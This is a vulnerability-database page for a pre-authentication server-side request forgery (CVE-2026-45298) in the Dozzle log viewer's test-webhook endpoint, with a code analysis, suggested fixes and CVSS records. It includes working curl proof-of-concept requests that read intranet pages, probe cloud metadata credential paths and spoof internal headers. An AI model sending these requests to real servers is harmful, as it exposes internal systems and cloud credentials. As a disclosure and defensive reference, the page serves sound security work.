Vulnerability-Lookup

GHSA-3V9W-6365-9W54

Vulnerability from github – Published: 2026-05-18 16:41 – Updated: 2026-06-08 23:35

Summary

Dozzle: Pre-auth SSRF with response-body reflection via POST /api/notifications/test-webhook (default no-auth deploy)

Details

Summary

In a default dozzle deploy (the documented quickstart, no DOZZLE_AUTH_PROVIDER set), POST /api/notifications/test-webhook is reachable without authentication and forwards an attacker-controlled URL into a WebhookDispatcher that:

Sends an HTTP POST to the supplied URL with attacker-controlled request headers, and
Returns the response status code AND up to 1MB of the response body to the caller, when the target replies non-2xx.

This is a classic full-reflection SSRF, pre-auth, against any IP/port that dozzle's host can route to — including private subnets, link-local cloud metadata, and loopback services.

Affected versions

internal/notification/dispatcher/webhook.go and internal/web/notifications.go at commit 581bab3a43ead84ea4d009a469a17af98fb3377f and earlier (the test-webhook handler has been in place since the notifications subsystem was added).

Default-deploy reachability chain

main.go:58-59           → enforces AuthProvider in {none, forward-proxy, simple}
support/cli/args.go:18  → AuthProvider default is "none"
main.go:231-243         → when AuthProvider == "none", web.AuthProvider stays at NONE
internal/web/routes.go:130-132, 137-138 → auth middleware only registered if Provider != NONE
internal/web/routes.go:172-188          → /api/notifications/* (incl. /test-webhook) is inside that conditional Group

So the default Quickstart deploy

docker run -v /var/run/docker.sock:/var/run/docker.sock -p 8080:8080 amir20/dozzle:latest

exposes POST /api/notifications/test-webhook to the network without any authentication.

The vulnerable handler

// internal/web/notifications.go:652-716
func (h *handler) testWebhook(w http.ResponseWriter, r *http.Request) {
    var input TestWebhookInput
    if err := json.NewDecoder(r.Body).Decode(&input); err != nil { ... }
    ...
    webhook, err := dispatcher.NewWebhookDispatcher("test", input.URL, templateStr, input.Headers)
    ...
    result := webhook.SendTest(r.Context(), mockNotification)
    ...
    writeJSON(w, http.StatusOK, &TestWebhookResult{
        Success:    result.Success,
        StatusCode: statusCode,
        Error:      errStr,
    })
}

input.URL and input.Headers are entirely user-controlled. No host/IP/scheme validation anywhere.

The reflection sink

// internal/notification/dispatcher/webhook.go:88-120
req, err := http.NewRequestWithContext(ctx, http.MethodPost, w.URL, bytes.NewReader(payload))
...
for k, v := range w.Headers { req.Header.Set(k, v) }
...
resp, err := w.client.Do(req)
...
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
    limitedReader := io.LimitReader(resp.Body, 1024*1024)   // 1 MB
    responseBody, _ := io.ReadAll(limitedReader)
    ...
    return TestResult{
        Success:    false,
        StatusCode: resp.StatusCode,
        Error:      fmt.Sprintf("webhook returned status code %d: %s",
                                 resp.StatusCode, string(responseBody)),
    }
}

When the SSRF target returns non-2xx, up to 1 MB of response body becomes part of Error, which is then JSON-encoded back to the attacker.

PoC

A. Read intranet admin-panel response bodies (most common path)

Most internal admin UIs respond to anonymous POST with 401/403 + an HTML or JSON body that contains version banners, CSRF tokens, internal hostnames, etc.

curl -X POST -H "Content-Type: application/json" \
  -d '{"url":"http://192.168.1.1/admin/index.html","headers":{}}' \
  http://dozzle.example.com/api/notifications/test-webhook

Response shape (writeJSON to the public Internet):

{
  "Success": false,
  "StatusCode": 401,
  "Error": "webhook returned status code 401: <html><head>... full intranet HTML body, up to 1MB ...</html>"
}

B. Cloud IMDS reachability probe

curl -X POST -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","headers":{}}' \
  http://dozzle.example.com/api/notifications/test-webhook

If StatusCode == 200, IMDS is reachable. For AWS IMDSv2 the unauth POST returns 401 + body which IS reflected.

C. Header injection downstream

curl -X POST -H "Content-Type: application/json" \
  -d '{
    "url":"http://internal-api.example.com:8080/admin/users",
    "headers":{"X-Forwarded-User":"admin","X-Real-IP":"127.0.0.1"}
  }' \
  http://dozzle.example.com/api/notifications/test-webhook

Suggested fix

Refuse test-webhook when Authorization.Provider == NONE. This is an admin-configuration helper; it should not be reachable on a deploy that has no concept of admin.
SSRF-harden WebhookDispatcher. Resolve URL host once via net.LookupIP; refuse private/loopback/link-local/CGNAT; pin http.Transport.DialContext to the resolved IP (closes DNS-rebinding TOCTOU). Refuse non-http(s) schemes.
Stop reflecting response body. UX for "test webhook" only needs Success: bool, StatusCode: int.

Severity

CVSS 3.1: High — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N ≈ 7.5 in default no-auth deploy.
Auth: none in default deploy. With DOZZLE_AUTH_PROVIDER=simple configured, the same primitive is post-auth.

Reproduction environment

Tested against: amir20/dozzle:8.x Docker image (commit 581bab3a43ead84ea4d009a469a17af98fb3377f).
Code locations:
Handler: internal/web/notifications.go:652-716
Sink: internal/notification/dispatcher/webhook.go:88-120
Auth gate: internal/web/routes.go:130-138, 172-188
Default provider: internal/support/cli/args.go:18, main.go:231

Reporter

Eddie Ran. Filed via reporter API per dozzle's SECURITY.md.

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/amir20/dozzle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "8.14.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45298"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T16:41:39Z",
    "nvd_published_at": "2026-05-26T22:16:43Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nIn a default dozzle deploy (the documented quickstart, no `DOZZLE_AUTH_PROVIDER` set), `POST /api/notifications/test-webhook` is reachable without authentication and forwards an attacker-controlled URL into a `WebhookDispatcher` that:\n\n- Sends an HTTP POST to the supplied URL with attacker-controlled request headers, and\n- Returns the response status code AND up to 1MB of the response body to the caller, when the target replies non-2xx.\n\nThis is a classic full-reflection SSRF, pre-auth, against any IP/port that dozzle\u0027s host can route to \u2014 including private subnets, link-local cloud metadata, and loopback services.\n\n## Affected versions\n\n`internal/notification/dispatcher/webhook.go` and `internal/web/notifications.go` at commit `581bab3a43ead84ea4d009a469a17af98fb3377f` and earlier (the test-webhook handler has been in place since the notifications subsystem was added).\n\n## Default-deploy reachability chain\n\n```\nmain.go:58-59           \u2192 enforces AuthProvider in {none, forward-proxy, simple}\nsupport/cli/args.go:18  \u2192 AuthProvider default is \"none\"\nmain.go:231-243         \u2192 when AuthProvider == \"none\", web.AuthProvider stays at NONE\ninternal/web/routes.go:130-132, 137-138 \u2192 auth middleware only registered if Provider != NONE\ninternal/web/routes.go:172-188          \u2192 /api/notifications/* (incl. /test-webhook) is inside that conditional Group\n```\n\nSo the default Quickstart deploy\n\n```bash\ndocker run -v /var/run/docker.sock:/var/run/docker.sock -p 8080:8080 amir20/dozzle:latest\n```\n\nexposes `POST /api/notifications/test-webhook` to the network without any authentication.\n\n## The vulnerable handler\n\n```go\n// internal/web/notifications.go:652-716\nfunc (h *handler) testWebhook(w http.ResponseWriter, r *http.Request) {\n    var input TestWebhookInput\n    if err := json.NewDecoder(r.Body).Decode(\u0026input); err != nil { ... }\n    ...\n    webhook, err := dispatcher.NewWebhookDispatcher(\"test\", input.URL, templateStr, input.Headers)\n    ...\n    result := webhook.SendTest(r.Context(), mockNotification)\n    ...\n    writeJSON(w, http.StatusOK, \u0026TestWebhookResult{\n        Success:    result.Success,\n        StatusCode: statusCode,\n        Error:      errStr,\n    })\n}\n```\n\n`input.URL` and `input.Headers` are entirely user-controlled. No host/IP/scheme validation anywhere.\n\n## The reflection sink\n\n```go\n// internal/notification/dispatcher/webhook.go:88-120\nreq, err := http.NewRequestWithContext(ctx, http.MethodPost, w.URL, bytes.NewReader(payload))\n...\nfor k, v := range w.Headers { req.Header.Set(k, v) }\n...\nresp, err := w.client.Do(req)\n...\nif resp.StatusCode \u003c 200 || resp.StatusCode \u003e= 300 {\n    limitedReader := io.LimitReader(resp.Body, 1024*1024)   // 1 MB\n    responseBody, _ := io.ReadAll(limitedReader)\n    ...\n    return TestResult{\n        Success:    false,\n        StatusCode: resp.StatusCode,\n        Error:      fmt.Sprintf(\"webhook returned status code %d: %s\",\n                                 resp.StatusCode, string(responseBody)),\n    }\n}\n```\n\nWhen the SSRF target returns non-2xx, up to 1 MB of response body becomes part of `Error`, which is then JSON-encoded back to the attacker.\n\n## PoC\n\n### A. Read intranet admin-panel response bodies (most common path)\n\nMost internal admin UIs respond to anonymous POST with 401/403 + an HTML or JSON body that contains version banners, CSRF tokens, internal hostnames, etc.\n\n```bash\ncurl -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\":\"http://192.168.1.1/admin/index.html\",\"headers\":{}}\u0027 \\\n  http://dozzle.example.com/api/notifications/test-webhook\n```\n\nResponse shape (`writeJSON` to the public Internet):\n```json\n{\n  \"Success\": false,\n  \"StatusCode\": 401,\n  \"Error\": \"webhook returned status code 401: \u003chtml\u003e\u003chead\u003e... full intranet HTML body, up to 1MB ...\u003c/html\u003e\"\n}\n```\n\n### B. Cloud IMDS reachability probe\n\n```bash\ncurl -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\"headers\":{}}\u0027 \\\n  http://dozzle.example.com/api/notifications/test-webhook\n```\n\nIf `StatusCode == 200`, IMDS is reachable. For AWS IMDSv2 the unauth POST returns 401 + body which IS reflected.\n\n### C. Header injection downstream\n\n```bash\ncurl -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"url\":\"http://internal-api.example.com:8080/admin/users\",\n    \"headers\":{\"X-Forwarded-User\":\"admin\",\"X-Real-IP\":\"127.0.0.1\"}\n  }\u0027 \\\n  http://dozzle.example.com/api/notifications/test-webhook\n```\n\n## Suggested fix\n\n1. **Refuse `test-webhook` when `Authorization.Provider == NONE`.** This is an admin-configuration helper; it should not be reachable on a deploy that has no concept of admin.\n2. **SSRF-harden `WebhookDispatcher`.** Resolve URL host once via `net.LookupIP`; refuse private/loopback/link-local/CGNAT; pin `http.Transport.DialContext` to the resolved IP (closes DNS-rebinding TOCTOU). Refuse non-http(s) schemes.\n3. **Stop reflecting response body.** UX for \"test webhook\" only needs `Success: bool, StatusCode: int`.\n\n## Severity\n\n- **CVSS 3.1:** High \u2014 `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N` \u2248 7.5 in default no-auth deploy.\n- **Auth:** none in default deploy. With `DOZZLE_AUTH_PROVIDER=simple` configured, the same primitive is post-auth.\n\n## Reproduction environment\n\n- Tested against: `amir20/dozzle:8.x` Docker image (commit `581bab3a43ead84ea4d009a469a17af98fb3377f`).\n- Code locations:\n  - Handler: `internal/web/notifications.go:652-716`\n  - Sink: `internal/notification/dispatcher/webhook.go:88-120`\n  - Auth gate: `internal/web/routes.go:130-138, 172-188`\n  - Default provider: `internal/support/cli/args.go:18`, `main.go:231`\n\n## Reporter\n\nEddie Ran. Filed via reporter API per dozzle\u0027s `SECURITY.md`.",
  "id": "GHSA-3v9w-6365-9w54",
  "modified": "2026-06-08T23:35:22Z",
  "published": "2026-05-18T16:41:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/security/advisories/GHSA-3v9w-6365-9w54"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45298"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/amir20/dozzle"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/releases/tag/v10.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dozzle: Pre-auth SSRF with response-body reflection via POST /api/notifications/test-webhook (default no-auth deploy)"
}

CVE-2026-45298 (GCVE-0-2026-45298)

Vulnerability from cvelistv5 – Published: 2026-05-26 22:01 – Updated: 2026-05-27 14:23

Title

Dozzle: Pre-auth SSRF with response-body reflection via POST /api/notifications/test-webhook (default no-auth deploy)

Summary

Dozzle is a realtime log viewer for docker containers. Prior to 10.5.2, in a default dozzle deploy (the documented quickstart, no DOZZLE_AUTH_PROVIDER set), POST /api/notifications/test-webhook is reachable without authentication and forwards an attacker-controlled URL into a WebhookDispatcher that sends an HTTP POST to the supplied URL with attacker-controlled request headers, and returns the response status code AND up to 1MB of the response body to the caller, when the target replies non-2xx. This vulnerability is fixed in 10.5.2.

Severity

8.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-27 14:23 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/amir20/dozzle/security/advisor…	x_refsource_CONFIRM
https://github.com/amir20/dozzle/releases/tag/v10.5.2	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
amir20	dozzle	Affected: < 10.5.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-45298",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-27T14:23:07.094049Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-27T14:23:39.845Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/amir20/dozzle/security/advisories/GHSA-3v9w-6365-9w54"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "dozzle",
          "vendor": "amir20",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 10.5.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Dozzle is a realtime log viewer for docker containers. Prior to 10.5.2, in a default dozzle deploy (the documented quickstart, no DOZZLE_AUTH_PROVIDER set), POST /api/notifications/test-webhook is reachable without authentication and forwards an attacker-controlled URL into a WebhookDispatcher that sends an HTTP POST to the supplied URL with attacker-controlled request headers, and returns the response status code AND up to 1MB of the response body to the caller, when the target replies non-2xx. This vulnerability is fixed in 10.5.2."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.6,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-26T22:01:29.977Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/amir20/dozzle/security/advisories/GHSA-3v9w-6365-9w54",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/amir20/dozzle/security/advisories/GHSA-3v9w-6365-9w54"
        },
        {
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          "tags": [
            "x_refsource_MISC"
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          "url": "https://github.com/amir20/dozzle/releases/tag/v10.5.2"
        }
      ],
      "source": {
        "advisory": "GHSA-3v9w-6365-9w54",
        "discovery": "UNKNOWN"
      },
      "title": "Dozzle: Pre-auth SSRF with response-body reflection via POST /api/notifications/test-webhook (default no-auth deploy)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-45298",
    "datePublished": "2026-05-26T22:01:29.977Z",
    "dateReserved": "2026-05-11T20:14:43.201Z",
    "dateUpdated": "2026-05-27T14:23:39.845Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-3V9W-6365-9W54

Summary

Affected versions

Default-deploy reachability chain

The vulnerable handler

The reflection sink

PoC

A. Read intranet admin-panel response bodies (most common path)

B. Cloud IMDS reachability probe

C. Header injection downstream

Suggested fix

Severity

Reproduction environment

Reporter

CVE-2026-45298 (GCVE-0-2026-45298)

Tags

Sightings

Nomenclature

Related by attack behaviour